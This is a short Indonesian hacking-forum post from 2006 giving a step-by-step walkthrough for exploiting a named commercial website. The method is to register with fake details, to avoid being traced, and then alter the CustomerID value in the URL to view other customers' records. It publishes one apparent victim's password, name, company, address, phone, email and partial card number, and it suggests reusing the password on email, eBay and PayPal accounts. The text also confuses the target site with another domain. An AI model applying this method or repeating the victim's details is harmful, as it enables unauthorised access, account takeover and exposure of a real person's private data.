|
|
|
Kelemahan Website www.angioprim.com
|
Date: Thursday, March 16, 2006
Hits: 4094
By: LEQHI
|
Pada artikel sebelumnya teleh dijelaskan kelemahan www.mobile-tronics.com dimana security web tersebut dapat dengan mudah ditembus oleh siapa pun.
New Page 1
Secara tidak sengaja saya menemukan website yang sama,website tersebut adalah
www.mobile-tronics.com Dalam kasus ini saya akan menggunakan trik yang
sama,dengan cara merubah "CustomerID" website tersebut Adapun persiapannya
antara lain:
1.IE
2.Marlboro Putih (bagi yang merokok)
3.Sedikit kesabaran
Karna gw males basa basi langsung aja deh.
Buka http://www.angioprim.com/CustLogin.asp
Kemudian isi semua table yang ada,tapi ingat jangan isi dengan data asli anda
bila anda tidak mau di lacak setelah di isi semua table,kemudian tekan tombol
"Save and Continue"
Kemudia url akan berubah menjadi
http://www.angioprim.com/Customer.asp?RepID=10005&CustomerID=22558&BasketID=
Ganti lah CustomerID-nya dengan sembarang nomer Contohnya saya ganti
CustomerIDnya dengan no 22542 http://www.angioprim.com/Customer.asp?RepID=10005&CustomerID=22542&BasketID=
Maka akan terlihat data-data dari customer dengan ID 22542
Kebanyakan pengguna internet yang malas mengingat password akan menggunakan
password yang sama,termasuk email,ebay,paypal etc Contoh korban:
Password: greenmount1
Company Name: Green Mountain HR, LLC
Contact Name: Dianne Kenney
Address: 121 Birchcliff Parkway
City: Burlington
State/Region: VT
Postal/Zip Code: 05401
Country: United Stated
Phone: 802-863-7032
Email Address: greenmountain@pshift.com
CcNumber: xxxx-xxxx-xxxx-4574
Card Type: Visa
Thanks To: Hacker SMAN 63 JAK-SEL, [HoLe-TeaM]
By: LEQHI
|
|
| Source: JASAKOM Information Center |
|
|
|
|
|